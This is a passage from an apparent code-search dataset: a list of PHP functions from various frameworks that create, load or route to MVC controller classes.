!is_subclass_of($controllerName, 'Controller'))\r\n\t\t\tthrow new Exception('Unknown controller \"'.$controllerName.'\"', 404);\r\n\r\n\t\t$this->controller = new $controllerName();\r\n\t\treturn $this;\r\n\t}", "private function createController($controllerName)\n {\n $className = ucfirst($controllerName) . 'Controller';\n ${$this->lcf($controllerName) . 'Controller'} = new $className();\n return ${$this->lcf($controllerName) . 'Controller'};\n }", "public function createControllerObject(string $controller)\n {\n $this->checkControllerExists($controller);\n $controller = $this->ctlrStrSrc.$controller;\n $controller = new $controller();\n return $controller;\n }", "public function create_controller($controller, $action){\n\t $creado = false;\n\t\t$controllers_dir = Kumbia::$active_controllers_dir;\n\t\t$file = strtolower($controller).\"_controller.php\";\n\t\tif(file_exists(\"$controllers_dir/$file\")){\n\t\t\tFlash::error(\"Error: El controlador '$controller' ya existe\\n\");\n\t\t} else {\n\t\t\tif($this->post(\"kind\")==\"applicationcontroller\"){\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends ApplicationController {\\n\\n\\t\\tfunction $action(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tif(@file_put_contents(\"$controllers_dir/$file\", $filec)){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends StandardForm {\\n\\n\\t\\tpublic \\$scaffold = true;\\n\\n\\t\\tpublic function __construct(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tfile_put_contents(\"$controllers_dir/$file\", $filec);\n\t\t\t\tif($this->create_model($controller, $controller, \"index\")){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($creado){\n\t\t\t Flash::success(\"Se cre&oacute; correctamente el controlador '$controller' en '$controllers_dir/$file'\");\n\t\t\t}else {\n\t\t\t Flash::error(\"Error: No se pudo escribir en el directorio, verifique los permisos sobre el directorio\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t$this->route_to(\"controller: $controller\", \"action: $action\");\n\t}", "private function instanceController( string $controller_class ): Controller {\n\t\treturn new $controller_class( $this->request, $this->site );\n\t}", "public function makeController($controller_name)\n\t{\n\t\t$model\t= $this->_makeModel($controller_name, $this->_storage_type);\n\t\t$view\t= $this->_makeView($controller_name);\n\t\t\n\t\treturn new $controller_name($model, $view);\n\t}", "public function create()\n {\n $output = new \\Symfony\\Component\\Console\\Output\\ConsoleOutput();\n $output->writeln(\"<info>Controller Create</info>\");\n }", "protected function createDefaultController() {\n Octopus::requireOnce($this->app->getOption('OCTOPUS_DIR') . 'controllers/Default.php');\n return new DefaultController();\n }", "private function createControllerDefinition()\n {\n $id = $this->getServiceId('controller');\n if (!$this->container->has($id)) {\n $definition = new Definition($this->getServiceClass('controller'));\n $definition\n ->addMethodCall('setConfiguration', [new Reference($this->getServiceId('configuration'))])\n ->addMethodCall('setContainer', [new Reference('service_container')])\n ;\n $this->container->setDefinition($id, $definition);\n }\n }", "public function createController( $ctrlName, $action ) {\n $args['action'] = $action;\n $args['path'] = $this->path . '/modules/' . $ctrlName;\n $ctrlFile = $args['path'] . '/Controller.php';\n // $args['moduleName'] = $ctrlName;\n if ( file_exists( $ctrlFile ) ) {\n $ctrlPath = str_replace( CITRUS_PATH, '', $args['path'] );\n $ctrlPath = str_replace( '/', '\\\\', $ctrlPath ) . '\\Controller';\n try { \n $r = new \\ReflectionClass( $ctrlPath ); \n $inst = $r->newInstanceArgs( $args ? $args : array() );\n\n $this->controller = Citrus::apply( $inst, Array( \n 'name' => $ctrlName, \n ) );\n if ( $this->controller->is_protected == null ) {\n $this->controller->is_protected = $this->is_protected;\n }\n return $this->controller;\n } catch ( \\Exception $e ) {\n prr($e, true);\n }\n } else {\n return false;\n }\n }", "protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}", "public static function newController($controllerName, $params = [], $request = null) {\n\n\t\t$controller = \"App\\\\Controllers\\\\\".$controllerName;\n\n\t\treturn new $controller($params, $request);\n\n\t}", "private function loadController() : void\n\t{\n\t\t$this->controller = new $this->controllerName($this->request);\n\t}", "public function createController($pi, array $params)\n {\n $class = $pi . '_Controller_' . ucfirst($params['page']);\n\n return new $class();\n }", "public function createController() {\n //check our requested controller's class file exists and require it if so\n \n if (file_exists(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\" ) && $this->controllerName != 'error') {\n require(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\");\n \n } else {\n \n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n\n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\", $parents)) {\n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->action)) { \n return new $this->controllerClass($this->action, $this->urlValues);\n \n } else {\n //bad action/method error\n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badview\", $this->urlValues);\n }\n } else {\n $this->urlValues['controller'] = \"error\";\n //bad controller error\n echo \"hjh\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"b\", $this->urlValues);\n }\n } else {\n \n //bad controller error\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n }", "protected static function createController($name) {\n $result = null;\n\n $name = self::$_namespace . ($name ? $name : self::$defaultController) . 'Controller';\n if(class_exists($name)) {\n $controllerClass = new \\ReflectionClass($name);\n if($controllerClass->hasMethod('run')) {\n $result = new $name();\n }\n }\n\n return $result;\n }", "public function createController(): void\n {\n $minimum_buffer_min = 3;\n $token_ok = $this->routerService->ds_token_ok($minimum_buffer_min);\n if ($token_ok) {\n # 2. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = $this->worker($this->args);\n\n if ($results) {\n # Redirect the user to the NDSE view\n # Don't use an iFrame!\n # State can be stored/recovered using the framework's session or a\n # query parameter on the returnUrl\n header('Location: ' . $results[\"redirect_url\"]);\n exit;\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "protected function createController($controllerClass)\n {\n $cls = new ReflectionClass($controllerClass);\n return $cls->newInstance($this->environment);\n }", "protected function createController($name)\n {\n $controllerClass = 'controller\\\\'.ucfirst($name).'Controller';\n\n if(!class_exists($controllerClass)) {\n throw new \\Exception('Controller class '.$controllerClass.' not exists!');\n }\n\n return new $controllerClass();\n }", "protected function initController() {\n\t\tif (!isset($_GET['controller'])) {\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$controllerClass = $_GET['controller'].\"Controller\";\n\t\tif (!class_exists($controllerClass)) {\n\t\t\t//Console::error(@$_GET['controller'].\" doesn't exist\");\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$this->controller = new $controllerClass();\n\t}", "public function makeTestController(TestController $controller)\r\n\t{\r\n\t}", "static function factory($GET=array(), $POST=array(), $FILES=array()) {\n $type = (isset($GET['type'])) ? $GET['type'] : '';\n $objectController = $type.'_Controller';\n $addLocation = $type.'/'.$objectController.'.php';\n foreach ($_ENV['locations'] as $location) {\n if (is_file($location.$addLocation)) {\n return new $objectController($GET, $POST, $FILES);\n } \n }\n throw new Exception('The controller \"'.$type.'\" does not exist.');\n }", "public function create()\n {\n $general = new ModeloController();\n\n return $general->create();\n }", "public function makeController($controllerNamespace, $controllerName, Log $log, $session, Request $request, Response $response)\r\n\t{\r\n\t\t$fullControllerName = '\\\\Application\\\\Controller\\\\' . (!empty($controllerNamespace) ? $controllerNamespace . '\\\\' : '') . $controllerName;\r\n\t\t$controller = new $fullControllerName();\r\n\t\t$controller->setConfig($this->config);\r\n\t\t$controller->setRequest($request);\r\n\t\t$controller->setResponse($response);\r\n\t\t$controller->setLog($log);\r\n\t\tif (isset($session))\r\n\t\t{\r\n\t\t\t$controller->setSession($session);\r\n\t\t}\r\n\r\n\t\t// Execute additional factory method, if available (exists in \\Application\\Controller\\Factory)\r\n\t\t$method = 'make' . $controllerName;\r\n\t\tif (is_callable(array($this, $method)))\r\n\t\t{\r\n\t\t\t$this->$method($controller);\r\n\t\t}\r\n\r\n\t\t// If the controller has an init() method, call it now\r\n\t\tif (is_callable(array($controller, 'init')))\r\n\t\t{\r\n\t\t\t$controller->init();\r\n\t\t}\r\n\r\n\t\treturn $controller;\r\n\t}", "public static function create()\n\t{\n\t\t//check, if an AccessGroupController instance already exists\n\t\tif(AccessGroupController::$accessGroupController == null)\n\t\t{\n\t\t\tAccessGroupController::$accessGroupController = new AccessGroupController();\n\t\t}\n\n\t\treturn AccessGroupController::$accessGroupController;\n\t}", "public static function buildController()\n\t{\n\t\t$file = CONTROLLER_PATH . 'indexController.class.php';\n\n\t\tif(!file_exists($file))\n\t\t{\n\t\t\tif(\\RCPHP\\Util\\Check::isClient())\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \"Welcome RcPHP!\\n\";\n }\n}';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \\'<style type=\"text/css\">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: \"微软雅黑\"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style=\"padding: 24px 48px;\"> <h1>:)</h1><p>Welcome <b>RcPHP</b>!</p></div>\\';\n }\n}';\n\t\t\t}\n\t\t\tfile_put_contents($file, $controller);\n\t\t}\n\t}", "public function getController( );", "public static function getInstance() : Controller {\n if ( null === self::$instance ) {\n self::$instance = new self();\n self::$instance->options = new Options(\n self::OPTIONS_KEY\n );\n }\n\n return self::$instance;\n }", "static function appCreateController($entityName, $prefijo = '') {\n\n $controller = ControllerBuilder::getController($entityName, $prefijo);\n $entityFile = ucfirst(str_replace($prefijo, \"\", $entityName));\n $fileController = \"../../modules/{$entityFile}/{$entityFile}Controller.class.php\";\n\n $result = array();\n $ok = self::createArchive($fileController, $controller);\n ($ok) ? array_push($result, \"Ok, {$fileController} created\") : array_push($result, \"ERROR creating {$fileController}\");\n\n return $result;\n }", "public static function newInstance($path = \\simpleChat\\Utility\\ROOT_PATH)\n {\n $request = new Request();\n \n \n if ($request->isAjax())\n {\n return new AjaxController();\n }\n else if ($request->jsCode())\n {\n return new JsController();\n }\n else\n {\n return new StandardController($path);\n }\n }", "private function createInstance()\n {\n $objectManager = new \\Magento\\Framework\\TestFramework\\Unit\\Helper\\ObjectManager($this);\n $this->controller = $objectManager->getObject(\n \\Magento\\NegotiableQuote\\Controller\\Adminhtml\\Quote\\RemoveFailedSku::class,\n [\n 'context' => $this->context,\n 'logger' => $this->logger,\n 'messageManager' => $this->messageManager,\n 'cart' => $this->cart,\n 'resultRawFactory' => $this->resultRawFactory\n ]\n );\n }", "function loadController(){\n $name = ucfirst($this->request->controller).'Controller' ;\n $file = ROOT.DS.'Controller'.DS.$name.'.php' ;\n /*if(!file_exists($file)){\n $this->error(\"Le controleur \".$this->request->controller.\" n'existe pas\") ;\n }*/\n require_once $file;\n $controller = new $name($this->request);\n return $controller ;\n }", "public function __construct(){\r\n $app = Application::getInstance();\r\n $this->_controller = $app->getController();\r\n }", "public static function & instance()\n {\n if (self::$instance === null) {\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Include the Controller file\n require Router::$controller_path;\n\n try {\n // Start validation of the controller\n $class = new ReflectionClass(ucfirst(Router::$controller).'_Controller');\n } catch (ReflectionException $e) {\n // Controller does not exist\n Event::run('system.404');\n }\n\n if ($class->isAbstract() or (IN_PRODUCTION and $class->getConstant('ALLOW_PRODUCTION') == false)) {\n // Controller is not allowed to run in production\n Event::run('system.404');\n }\n\n // Run system.pre_controller\n Event::run('system.pre_controller');\n\n // Create a new controller instance\n $controller = $class->newInstance();\n\n // Controller constructor has been executed\n Event::run('system.post_controller_constructor');\n\n try {\n // Load the controller method\n $method = $class->getMethod(Router::$method);\n\n // Method exists\n if (Router::$method[0] === '_') {\n // Do not allow access to hidden methods\n Event::run('system.404');\n }\n\n if ($method->isProtected() or $method->isPrivate()) {\n // Do not attempt to invoke protected methods\n throw new ReflectionException('protected controller method');\n }\n\n // Default arguments\n $arguments = Router::$arguments;\n } catch (ReflectionException $e) {\n // Use __call instead\n $method = $class->getMethod('__call');\n\n // Use arguments in __call format\n $arguments = array(Router::$method, Router::$arguments);\n }\n\n // Stop the controller setup benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Start the controller execution benchmark\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_execution');\n\n // Execute the controller method\n $method->invokeArgs($controller, $arguments);\n\n // Controller method has been executed\n Event::run('system.post_controller');\n\n // Stop the controller execution benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_execution');\n }\n\n return self::$instance;\n }", "protected function instantiateController($class)\n {\n $controller = new $class();\n\n if ($controller instanceof Controller) {\n $controller->setContainer($this->container);\n }\n\n return $controller;\n }", "public function __construct (){\n $this->AdminController = new AdminController();\n $this->ArticleController = new ArticleController();\n $this->AuditoriaController = new AuditoriaController();\n $this->CommentController = new CommentController();\n $this->CourseController = new CourseController();\n $this->InscriptionsController = new InscriptionsController();\n $this->ModuleController = new ModuleController();\n $this->PlanController = new PlanController();\n $this->ProfileController = new ProfileController();\n $this->SpecialtyController = new SpecialtyController();\n $this->SubscriptionController = new SubscriptionController();\n $this->TeacherController = new TeacherController();\n $this->UserController = new UserController();\n $this->WebinarController = new WebinarController();\n }", "protected function makeController($prefix)\n {\n new MakeController($this, $this->files, $prefix);\n }", "public function createController($route)\n {\n $controller = parent::createController('gymv/' . $route);\n return $controller === false\n ? parent::createController($route)\n : $controller;\n }", "public static function createFrontController()\n {\n return self::createInjectorWithBindings(self::extractArgs(func_get_args()))\n ->getInstance('net::stubbles::websites::stubFrontController');\n }", "public static function controller($name)\n {\n $name = ucfirst(strtolower($name));\n \n $directory = 'controller';\n $filename = $name;\n $tracker = 'controller';\n $init = (boolean) $init;\n $namespace = 'controller';\n $class_name = $name;\n \n return self::_load($directory, $filename, $tracker, $init, $namespace, $class_name);\n }", "protected static function instantiateMockController()\n {\n /** @var Event $oEvent */\n $oEvent = Factory::service('Event');\n\n if (!$oEvent->hasBeenTriggered(Events::SYSTEM_STARTING)) {\n\n require_once BASEPATH . 'core/Controller.php';\n\n load_class('Output', 'core');\n load_class('Security', 'core');\n load_class('Input', 'core');\n load_class('Lang', 'core');\n\n new NailsMockController();\n }\n }", "private static function controller()\n {\n $files = ['Controller'];\n $folder = static::$root.'MVC'.'/';\n\n self::call($files, $folder);\n }", "public function createController()\n\t{\n\t\t$originalFile = app_path('Http/Controllers/Reports/SampleReport.php');\n\t\t$newFile = dirname($originalFile) . DIRECTORY_SEPARATOR . $this->class . $this->sufix . '.php';\n\n\t\t// Read original file\n\t\tif( ! $content = file_get_contents($originalFile))\n\t\t\treturn false;\n\n\t\t// Replace class name\n\t\t$content = str_replace('SampleReport', $this->class . $this->sufix, $content);\n\n\t\t// Write new file\n\t\treturn (bool) file_put_contents($newFile, $content);\n\t}", "public function runController() {\n // Check for a router\n if (is_null($this->getRouter())) {\n \t // Set the method to load\n \t $sController = ucwords(\"{$this->getController()}Controller\");\n } else {\n\n // Set the controller with the router\n $sController = ucwords(\"{$this->getController()}\".ucfirst($this->getRouter()).\"Controller\");\n }\n \t// Check for class\n \tif (class_exists($sController, true)) {\n \t\t// Set a new instance of Page\n \t\t$this->setPage(new Page());\n \t\t// The class exists, load it\n \t\t$oController = new $sController();\n\t\t\t\t// Now check for the proper method \n\t\t\t\t// inside of the controller class\n\t\t\t\tif (method_exists($oController, $this->loadConfigVar('systemSettings', 'controllerLoadMethod'))) {\n\t\t\t\t\t// We have a valid controller, \n\t\t\t\t\t// execute the initializer\n\t\t\t\t\t$oController->init($this);\n\t\t\t\t\t// Set the variable scope\n\t \t\t$this->setViewScope($oController);\n\t \t\t// Render the layout\n\t \t\t$this->renderLayout();\n\t\t\t\t} else {\n\t\t\t\t\t// The initializer does not exist, \n\t\t\t\t\t// which means an invalid controller, \n\t\t\t\t\t// so now we let the caller know\n\t\t\t\t\t$this->setError($this->loadConfigVar('errorMessages', 'invalidController'));\n\t\t\t\t\t// Run the error\n\t\t\t\t\t// $this->runError();\n\t\t\t\t}\n \t// The class does not exist\n \t} else {\n\t\t\t\t// Set the system error\n\t \t\t$this->setError(\n\t\t\t\t\tstr_replace(\n\t\t\t\t\t\t':controllerName', \n\t\t\t\t\t\t$sController, \n\t\t\t\t\t\t$this->loadConfigVar(\n\t\t\t\t\t\t\t'errorMessages', \n\t\t\t\t\t\t\t'controllerDoesNotExist'\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n \t\t// Run the error\n\t\t\t\t// $this->runError();\n \t}\n \t// Return instance\n \treturn $this;\n }", "public function controller()\n\t{\n\t\n\t}", "protected function buildController()\n {\n $columns = collect($this->columns)->pluck('column')->implode('|');\n\n $permissions = [\n 'create:'.$this->module->createPermission->name,\n 'edit:'.$this->module->editPermission->name,\n 'delete:'.$this->module->deletePermission->name,\n ];\n\n $this->controller = [\n 'name' => $this->class,\n '--model' => $this->class,\n '--request' => $this->class.'Request',\n '--permissions' => implode('|', $permissions),\n '--view-folder' => snake_case($this->module->name),\n '--fields' => $columns,\n '--module' => $this->module->id,\n ];\n }", "function getController(){\n\treturn getFactory()->getBean( 'Controller' );\n}", "protected function getController()\n {\n $uri = WingedLib::clearPath(static::$parentUri);\n if (!$uri) {\n $uri = './';\n $explodedUri = ['index', 'index'];\n } else {\n $explodedUri = explode('/', $uri);\n if (count($explodedUri) == 1) {\n $uri = './' . $explodedUri[0] . '/';\n } else {\n $uri = './' . $explodedUri[0] . '/' . $explodedUri[1] . '/';\n }\n }\n\n $indexUri = WingedLib::clearPath(\\WingedConfig::$config->INDEX_ALIAS_URI);\n if ($indexUri) {\n $indexUri = explode('/', $indexUri);\n }\n\n if ($indexUri) {\n if ($explodedUri[0] === 'index' && isset($indexUri[0])) {\n static::$controllerName = Formater::camelCaseClass($indexUri[0]) . 'Controller';\n $uri = './' . $indexUri[0] . '/';\n }\n if (isset($explodedUri[1]) && isset($indexUri[1])) {\n if ($explodedUri[1] === 'index') {\n static::$controllerAction = 'action' . Formater::camelCaseMethod($indexUri[1]);\n $uri .= $indexUri[1] . '/';\n }\n } else {\n $uri .= 'index/';\n }\n }\n\n $controllerDirectory = new Directory(static::$parent . 'controllers/', false);\n if ($controllerDirectory->exists()) {\n $controllerFile = new File($controllerDirectory->folder . static::$controllerName . '.php', false);\n if ($controllerFile->exists()) {\n include_once $controllerFile->file_path;\n if (class_exists(static::$controllerName)) {\n $controller = new static::$controllerName();\n if (method_exists($controller, static::$controllerAction)) {\n try {\n $reflectionMethod = new \\ReflectionMethod(static::$controllerName, static::$controllerAction);\n $pararms = [];\n foreach ($reflectionMethod->getParameters() as $parameter) {\n $pararms[$parameter->getName()] = $parameter->isOptional();\n }\n } catch (\\Exception $exception) {\n $pararms = [];\n }\n return [\n 'uri' => $uri,\n 'params' => $pararms,\n ];\n }\n }\n }\n }\n return false;\n }", "public function __construct()\n {\n $this->controller = new DHTController();\n }", "public function createController($controllers) {\n\t\tforeach($controllers as $module=>$controllers) {\n\t\t\tforeach($controllers as $key=>$controller) {\n\t\t\t\tif(!file_exists(APPLICATION_PATH.\"/modules/$module/controllers/\".ucfirst($controller).\"Controller.php\")) {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",\"Create '\".ucfirst($controller).\"' controller in $module\");\t\t\t\t\n\t\t\t\t\texec(\"zf create controller $controller index-action-included=0 $module\");\t\t\t\t\t\n\t\t\t\t}\telse {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",ucfirst($controller).\"' controller in $module already exists\");\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}", "protected function instantiateController($class)\n {\n return new $class($this->routesMaker);\n }", "private function createController($table){\n\n // Filtering file name\n $fileName = $this::cleanToName($table[\"name\"]) . 'Controller.php';\n\n // Prepare the Class scheme inside the controller\n $contents = '<?php '.$fileName.' ?>';\n\n\n // Return a boolean to process completed\n return Storage::disk('controllers')->put($this->appNamePath.'/'.$fileName, $contents);\n\n }", "public function GetController()\n\t{\n\t\t$params = $this->QueryVarArrayToParameterArray($_GET);\n\t\tif (!empty($_POST)) {\n\t\t\t$params = array_merge($params, $this->QueryVarArrayToParameterArray($_POST));\n\t\t}\n\n\t\tif (!empty($_GET['q'])) {\n\t\t\t$restparams = GitPHP_Router::ReadCleanUrl($_SERVER['REQUEST_URI']);\n\t\t\tif (count($restparams) > 0)\n\t\t\t\t$params = array_merge($params, $restparams);\n\t\t}\n\n\t\t$controller = null;\n\n\t\t$action = null;\n\t\tif (!empty($params['action']))\n\t\t\t$action = $params['action'];\n\n\t\tswitch ($action) {\n\n\n\t\t\tcase 'search':\n\t\t\t\t$controller = new GitPHP_Controller_Search();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commitdiff':\n\t\t\tcase 'commitdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Commitdiff();\n\t\t\t\tif ($action === 'commitdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blobdiff':\n\t\t\tcase 'blobdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Blobdiff();\n\t\t\t\tif ($action === 'blobdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'history':\n\t\t\t\t$controller = new GitPHP_Controller_History();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'shortlog':\n\t\t\tcase 'log':\n\t\t\t\t$controller = new GitPHP_Controller_Log();\n\t\t\t\tif ($action === 'shortlog')\n\t\t\t\t\t$controller->SetParam('short', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'snapshot':\n\t\t\t\t$controller = new GitPHP_Controller_Snapshot();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tree':\n\t\t\tcase 'trees':\n\t\t\t\t$controller = new GitPHP_Controller_Tree();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tags':\n\t\t\t\tif (empty($params['tag'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Tags();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tcase 'tag':\n\t\t\t\t$controller = new GitPHP_Controller_Tag();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'heads':\n\t\t\t\t$controller = new GitPHP_Controller_Heads();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blame':\n\t\t\t\t$controller = new GitPHP_Controller_Blame();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blob':\n\t\t\tcase 'blobs':\n\t\t\tcase 'blob_plain':\t\n\t\t\t\t$controller = new GitPHP_Controller_Blob();\n\t\t\t\tif ($action === 'blob_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'atom':\n\t\t\tcase 'rss':\n\t\t\t\t$controller = new GitPHP_Controller_Feed();\n\t\t\t\tif ($action == 'rss')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::RssFormat);\n\t\t\t\telse if ($action == 'atom')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::AtomFormat);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commit':\n\t\t\tcase 'commits':\n\t\t\t\t$controller = new GitPHP_Controller_Commit();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'summary':\n\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'project_index':\n\t\t\tcase 'projectindex':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('txt', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'opml':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('opml', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'login':\n\t\t\t\t$controller = new GitPHP_Controller_Login();\n\t\t\t\tif (!empty($_POST['username']))\n\t\t\t\t\t$controller->SetParam('username', $_POST['username']);\n\t\t\t\tif (!empty($_POST['password']))\n\t\t\t\t\t$controller->SetParam('password', $_POST['password']);\n\t\t\t\tbreak;\n\n\t\t\tcase 'logout':\n\t\t\t\t$controller = new GitPHP_Controller_Logout();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'graph':\n\t\t\tcase 'graphs':\n\t\t\t\t//$controller = new GitPHP_Controller_Graph();\n\t\t\t\t//break;\n\t\t\tcase 'graphdata':\n\t\t\t\t//$controller = new GitPHP_Controller_GraphData();\n\t\t\t\t//break;\n\t\t\tdefault:\n\t\t\t\tif (!empty($params['project'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\t} else {\n\t\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t}\n\t\t}\n\n\t\tforeach ($params as $paramname => $paramval) {\n\t\t\tif ($paramname !== 'action')\n\t\t\t\t$controller->SetParam($paramname, $paramval);\n\t\t}\n\n\t\t$controller->SetRouter($this);\n\n\t\treturn $controller;\n\t}", "public function testCreateTheControllerClass()\n {\n $controller = new Game21Controller();\n $this->assertInstanceOf(\"\\App\\Http\\Controllers\\Game21Controller\", $controller);\n }", "public static function createController( MShop_Context_Item_Interface $context, $name = null );", "public function __construct()\n {\n\n $url = $this->splitURL();\n // echo $url[0];\n\n // check class file exists\n if (file_exists(\"../app/controllers/\" . strtolower($url[0]) . \".php\")) {\n $this->controller = strtolower($url[0]);\n unset($url[0]);\n }\n\n // echo $this->controller;\n\n require \"../app/controllers/\" . $this->controller . \".php\";\n\n // create Instance(object)\n $this->controller = new $this->controller(); // $this->controller is an object from now on\n if (isset($url[1])) {\n if (method_exists($this->controller, $url[1])) {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n\n // run the class and method\n $this->params = array_values($url); // array_values 값들인 인자 0 부터 다시 배치\n call_user_func_array([$this->controller, $this->method], $this->params);\n }", "public function getController();", "public function getController();", "public function getController();", "public function createController($pageType, $template)\n {\n $controller = null;\n\n // Use factories first\n if (isset($this->controllerFactories[$pageType])) {\n $callable = $this->controllerFactories[$pageType];\n $controller = $callable($this, 'templates/'.$template);\n\n if ($controller) {\n return $controller;\n }\n }\n\n // See if a default controller exists in the theme namespace\n $class = null;\n if ($pageType == 'posts') {\n $class = $this->namespace.'\\\\Controllers\\\\PostsController';\n } elseif ($pageType == 'post') {\n $class = $this->namespace.'\\\\Controllers\\\\PostController';\n } elseif ($pageType == 'page') {\n $class = $this->namespace.'\\\\Controllers\\\\PageController';\n } elseif ($pageType == 'term') {\n $class = $this->namespace.'\\\\Controllers\\\\TermController';\n }\n\n if (class_exists($class)) {\n $controller = new $class($this, 'templates/'.$template);\n\n return $controller;\n }\n\n // Create a default controller from the stem namespace\n if ($pageType == 'posts') {\n $controller = new PostsController($this, 'templates/'.$template);\n } elseif ($pageType == 'post') {\n $controller = new PostController($this, 'templates/'.$template);\n } elseif ($pageType == 'page') {\n $controller = new PageController($this, 'templates/'.$template);\n } elseif ($pageType == 'search') {\n $controller = new SearchController($this, 'templates/'.$template);\n } elseif ($pageType == 'term') {\n $controller = new TermController($this, 'templates/'.$template);\n }\n\n return $controller;\n }", "private function loadController($controller)\r\n {\r\n $className = $controller.'Controller';\r\n \r\n $class = new $className($this);\r\n \r\n $class->init();\r\n \r\n return $class;\r\n }", "public static function newInstance ($class)\n {\n try\n {\n // the class exists\n $object = new $class();\n\n if (!($object instanceof sfController))\n {\n // the class name is of the wrong type\n $error = 'Class \"%s\" is not of the type sfController';\n $error = sprintf($error, $class);\n\n throw new sfFactoryException($error);\n }\n\n return $object;\n }\n catch (sfException $e)\n {\n $e->printStackTrace();\n }\n }", "public function create()\n {\n //TODO frontEndDeveloper \n //load admin.classes.create view\n\n\n return view('admin.classes.create');\n }", "private function generateControllerClass()\n {\n $dir = $this->bundle->getPath();\n\n $parts = explode('\\\\', $this->entity);\n $entityClass = array_pop($parts);\n $entityNamespace = implode('\\\\', $parts);\n\n $target = sprintf(\n '%s/Controller/%s/%sController.php',\n $dir,\n str_replace('\\\\', '/', $entityNamespace),\n $entityClass\n );\n\n if (file_exists($target)) {\n throw new \\RuntimeException('Unable to generate the controller as it already exists.');\n }\n\n $this->renderFile($this->skeletonDir, 'controller.php', $target, array(\n 'actions' => $this->actions,\n 'route_prefix' => $this->routePrefix,\n 'route_name_prefix' => $this->routeNamePrefix,\n 'dir' => $this->skeletonDir,\n 'bundle' => $this->bundle->getName(),\n 'entity' => $this->entity,\n 'entity_class' => $entityClass,\n 'namespace' => $this->bundle->getNamespace(),\n 'entity_namespace' => $entityNamespace,\n 'format' => $this->format,\n ));\n }", "static public function Instance()\t\t// Static so we use classname itself to create object i.e. Controller::Instance()\r\n {\r\n // Only one object of this class is required\r\n // so we only create if it hasn't already\r\n // been created.\r\n 